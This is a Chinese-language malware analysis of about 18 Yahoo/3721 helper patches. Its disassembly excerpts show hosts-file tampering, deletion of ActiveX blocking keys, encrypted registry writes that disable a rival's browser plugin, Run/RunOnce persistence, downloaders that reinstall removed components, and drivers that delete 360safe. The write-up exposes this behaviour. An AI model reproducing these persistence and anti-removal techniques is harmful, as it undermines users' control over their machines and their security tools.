================================= 注意:此文為技術分析,不帶任何偏向立場 由本文反匯編某廠商的病毒文件或曰惡意競爭文件而導致的 任何法律問題,本人一概不負責 by MJ0011 =================================
剛才分析了Yahoo上網助手的34號patch包,找到一些同360安全衛(wèi)士PK的有意思的東西,便對上網助手的patch感興趣起來了,想看看之前的33個patch包都是干了什么事呢?其中patch03,04,05,06,09,10,11,16,18,22,07,24,25,26,28,29,32可以下載
其他編號的想必是迫于壓力又或是某些不可告人的原因 被撤消了(就象之前分析的patch34) 所以無法下載
patch最早從04年02月01日開始 最新的patch是06年10月10日
見證了3721及其附屬產品2年多的流氓史
那么挨個看一下他們分別都干了些什么:
<1>. 03號patch: 日期 01/02/04 13:38:49(注:時間格式:月/日/年,直接從flashget上復制過來的)
主要是對system32driversetchosts也就是系統(tǒng)hosts文件進行惡意篡改,將其 中對3721.net,3721.com的屏蔽修改回來 主要代碼截取如下:
push ebx ; FILE * push 1 ; size_t push esi ; size_t push edi ; void * call ds:fread and byte ptr [edi+esi], 0 push edi call sub_1000222B mov esi, ds:strstr mov ebx, offset s__3721_com ; ".3721.com" ; x push ebx ; char * push edi ; char * call esi ; strstr add esp, 1Ch test eax, eax jz short loc_100021C8
loc_100021C8: ; ".3721.net" mov ebx, offset s__3721_net push ebx ; char * push edi ; char * call esi ; strstr pop ecx test eax, eax pop ecx jz short loc_100021EF ;以上是恢復3721.com和3721.net的屏蔽
loc_100022A7: push 0 call sub_10002331 test eax, eax pop ecx jz short loc_100022BA
offset s_System32Drive ; "system32driversetchosts" jmp short loc_100022BF ;此處判斷操作系統(tǒng)版本并取得不同版本windwos的hosts文件路徑
<2>. 04號patch: 日期 01/18/04 10:38:24 04號patch帶了一個patch41.dat
該patch和patch34一樣,同樣會將自己自毀 且代碼完全一樣
patch41.dat是個加密了的文件,算法有點古怪,我估計是類似“競爭對手網站屏蔽表這樣的東西”
<3>. 05號patch 日期 04/22/04 15:07:35 更新一個clsid
<4>. 06號patch 日期 05/13/04 09:58:10 刪除SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility下的如下幾個鍵值: '{B83FC273-3522-4CC6-92EC-75CC86678DA4}'=3721網絡實名模塊cnsmin.dll '{4522DBFE-14CD-4A59-AC2A-54BADFDD6D53}'=3721網絡實名 '{1B0E7716-898E-48CC-9690-4E338E8DE1D3}'=3721上網助手模塊ASSIST.DLL '{7CA83CF1-3AEA-42D0-A4E3-1594FC6E48B2}'=3721上網助手模塊autolive.dll '{4EDBBAEA-F509-49F6-94D1-ECEC4BE5B686}'=3721中文郵 '{8D898B17-976D-44c1-84E6-AF38842AC9EC}'=3721升級包模塊 用于恢復類似 惡意軟件清理助手,360SAFE,OPIEA,優(yōu)化大師等在注冊表中對3721部分產品的 插件屏蔽 導致屏蔽失效!
刪除屏蔽插件的部分代碼:
.data:10002197 loc_10002197: .data:10002197 push dword ptr [edi] .data:10002199 lea eax, [ebp+pszSubKey] .data:1000219F push offset s_SoftwareMicro ; "SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility" .data:100021A4 push offset s_SS ; "%s%s" .data:100021A9 push 103h ; size_t .data:100021AE push eax ; char * .data:100021AF call ds:_snprintf .data:100021B5 add esp, 14h .data:100021B8 lea eax, [ebp+pszSubKey] .data:100021BE push eax ; pszSubKey .data:100021BF push 80000002h ; hkey .data:100021C4 call ds:SHDeleteKeyA .data:100021CA inc esi .data:100021CB add edi, 4 .data:100021CE cmp esi, dword_10002028 .data:100021D4 jl short loc_10002197 .data:100021D4 .data:100021D6 .data:100021D6 loc_100021D6: .data:100021D6 pop edi .data:100021D7 xor eax, eax .data:100021D9 pop esi .data:100021DA leave .data:100021DB retn
<5>. 09號patch
似乎是一個check模塊 檢查3721部件是否正常(校驗碼是否正確) 否則會從3721的網站download安裝程序重新安裝 (url=http://user.3721.com/soft/patch09.htm?fb=0 和http://user.3721.com/soft/patch09.htm?fb=1 ) (可能針對某些清理軟件的破壞)
<6>. 10號patch 日期 12/10/04 11:07:21 同樣是一個check模塊 會檢查3721的組件是否正常,若被破壞,則自動釋放出patch10.exe(包含在DLL資源中)并執(zhí)行
部分代碼: push offset s_SAssist3721 ; "%sassist3721" lea eax, [ebp+var_568] push edi ; size_t push eax ; char * call ebx ; _snprintf push esi push offset s_SAssistRepair ; "%sassistrepair.dll" lea eax, [ebp+pszPath] push edi ; size_t push eax ; char * call ebx ; _snprintf add esp, 20h lea eax, [ebp+pszPath] push eax ; pszPath call ds:PathFileExistsA ;檢查上面幾個dll是否存在
test eax, eax jz loc_100022D3
lea eax, [ebp+Buffer] push eax push offset s_SPatch10_exe ; "%spatch10.exe" lea eax, [ebp+FileName] push edi ; size_t push eax ; char * call ebx ; _snprintf add esp, 10h lea eax, [ebp+FileName] push eax ; lpFileName
............... ................ lea eax, [ebp+hObject] push eax ; lpProcessInformation lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push esi ; lpCurrentDirectory push esi ; lpEnvironment push esi ; dwCreationFlags push esi ; bInheritHandles push esi ; lpThreadAttributes lea eax, [ebp+CommandLine] push esi ; lpProcessAttributes push eax ; lpCommandLine push esi ; lpApplicationName call ds:CreateProcessA ;執(zhí)行patch10.exe cmp [ebp+hObject], esi mov edi, ds:CloseHandle jz short loc_100022C9
;釋放并執(zhí)行patch10.exe
patch10.exe實際上是一個downloader(下載者),會從
http://download.3721.com/download/asrepair.cab?t=%d 下載3721恢復包 恢復被清除的3721
<7>.11號patch 日期 06/17/05 12:22:42 該patch啟動后會使用rundll32.exe加載自己 創(chuàng)建一個名為3721CNSINSTSHELL_INSTALLMUTEX_PATCH11的互斥對象
然后釋放出一個cab文件,里面是壓縮后的wmpns.dll,查了一下,是3721反間諜專家的一個附屬 的dll,有惡意軟件性質 并會將CNS的Setup程序寫入runonce鍵值(重啟后安裝CNS網絡實名)
將cnsAutoUpdate寫入注冊表Run鍵值(每次開機自動執(zhí)行更新程序)
部分代碼: push offset s_Rundll32_exeS ; "Rundll32.exe %s,RundllEx" ;安裝程序,使用rundll32調用
push 104h ; size_t push ecx ; char * call ebx ; _snprintf lea edi, [esp+754h+pvData] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx lea edx, [esp+744h+pvData] push ecx ; cbData push edx ; pvData push 1 ; dwType push offset s_Setup ; "Setup" push offset s_SoftwareMic_2 ; "SoftwareMicrosoftWindowsCurrentVersi"...
;寫入runonce鍵值
push 80000002h ; hkey call ds:SHSetValueA mov esi, 1
<8>.16號patch
16號patch是個非常有意思的東西,它會把這個注冊表鍵值設為"no" HKCUSoftwareTencentTBHEnableTBH 用來打擊騰訊的BHO 將騰訊的瀏覽器插件設為禁止后 該patch將自毀
為了防止別人發(fā)現它修改tencent的鍵值以帶來不必要的麻煩,該PATCH中對注冊表部分的讀寫是 加密了的 (呵呵,看了這個之后騰訊會不會去找YAHOO的麻煩呢?) 代碼如下: mov esi, offset s_A709ce5ce8561 ; "A709CE5CE8561FEDE4" lea edi, [ebp+pszValue] movsd movsd movsd movsd movsw movsb push 3Ch xor eax, eax pop ecx lea edi, [ebp+var_F5] rep stosd stosb push 0Ah mov esi, offset s_B108c94af3523 ; "B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC"... pop ecx
lea edi, [ebp+pszSubKey] rep movsd movsb push 36h xor eax, eax pop ecx lea edi, [ebp+var_1E3] rep stosd stosw stosb mov esi, 82h lea eax, [ebp+pszValue] push esi ; int push eax ; char * call sub_10001067
lea eax, [ebp+pszSubKey] push esi ; int push eax ; char * call sub_10001067 mov esi, offset s_No ; "no" lea edi, [ebp+pvData] movsw movsb push 40h xor eax, eax pop ecx lea edi, [ebp-411h] rep stosd stosb lea eax, [ebp+pvData] push eax ; char * call strlen add esp, 14h push eax ; cbData lea eax, [ebp+pvData] push eax ; pvData lea eax, [ebp+pszValue] push 1 ; dwType push eax ; pszValue lea eax, [ebp+pszSubKey] push eax ; pszSubKey push 80000001h ; hkey call ds:SHSetValueA 其中sub_10001067子程序就是將B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC與 A709CE5CE8561FEDE4進行解密,從而得到HKCUSoftwareTencentTBHEnableTBH這個注冊表路 徑
然后對其寫入鍵值:no 起到禁止騰訊bho的作用
更有意思的是 我發(fā)現了一篇文章:《!騰訊流氓覆滅記!》其中所說的方法和這個patch完全一 致,呵呵 不知兩者有何關聯
<9>.18號patch 日期 09/23/05 14:44:46 加載2005年的yahoo流氓部分插件:zsmod.dll 這是個3721上網助手卸載后不會完全刪除的組件 具體可見那篇著名的<<全面剖析3721及上網助手>>
<10>.22號patch 日期 12/19/05 13:51:49 主要用于從http://download.3721.com/download/CnsMin.cab這個地址download一個cnsmin.cab并安裝 也就是自動安裝網絡實名 沒什么新東西,代碼就不列了
<11>.07號patch 日期 08/06/04 14:43:07 與04號patch基本一樣 只是所帶的.dat文件有所更改 自毀
<12>.24號patch 日期 01/25/06 13:28:54 該patch只有一個字節(jié)0x20 估計是被丟棄的一個patch
<13>.25號patch 日期 04/24/06 03:41:54 又是一個下載者 會下載: http://download.3721.com/download/cnsdtu.cab http://download.3721.com/download/keepmainM.cab 這兩個3721相關產品并自動安裝之
<14>.26號patch 日期 05/11/06 12:31:19
和25號patch基本一致,還是下載者 會下載: http://download.3721.com/download/cnsdtu.cab 這個3721相關產品并自動安裝之
<15>.28號patch 日期:無 不知道為什么,是一個0字節(jié)文件 可能被丟棄
<16>.29號patch 日期 10/10/06 11:46:57
這是為數不多的有意思的patch之一....
資源里有這兩個有意思的路徑: 1. d:doworkCnsPatchpatch29sysReleasehack.pdb (自己承認是hack別人東西的驅動~)
2. e:mywork360safesrcantidriver 360safe的anti driver(反3721,中搜等的一些流氓驅動的占坑驅動)
特點: 1.自毀 2.刪除360SAFE的驅動/注冊表項 3.釋放并注冊一個在boot時會加載的驅動,與360safe的pnp占坑驅動進行PK,看誰加載得快,就把誰給刪了(如果那之前360SAFE的服務鍵值還沒被刪的話)
<17>.32號patch 日期 09/22/06 09:19:36
會干掉很棒小秘書:P 包括hbhelper.dll,tbhelper.dll,hbclient,啟動項,就連“很棒小秘書.lnk"也不放過...(流氓自個打架...)
會釋放一個hack驅動,不過不會以BOOT方式加載
<18>.34號驅動
在之前的文章里有分析: http://www.cnbeta.com/modules.php?name=News&file=article&sid=16531 == Yahoo上網助手自殺式破壞360safe的程序代碼分析
完了 分析這多,累死偶也...后面幾個懶得列代碼了 偶把3721的老底給揭了...不知道某廠商會不會派殺手追殺偶... 其中還涉及到y(tǒng)ahoo與tencent,很棒,360間PK,爭奪客戶端... 因為匆匆分析這18個文件,又都是靜態(tài)分析...所以估計難免會有錯誤...還請高手指正...
|
|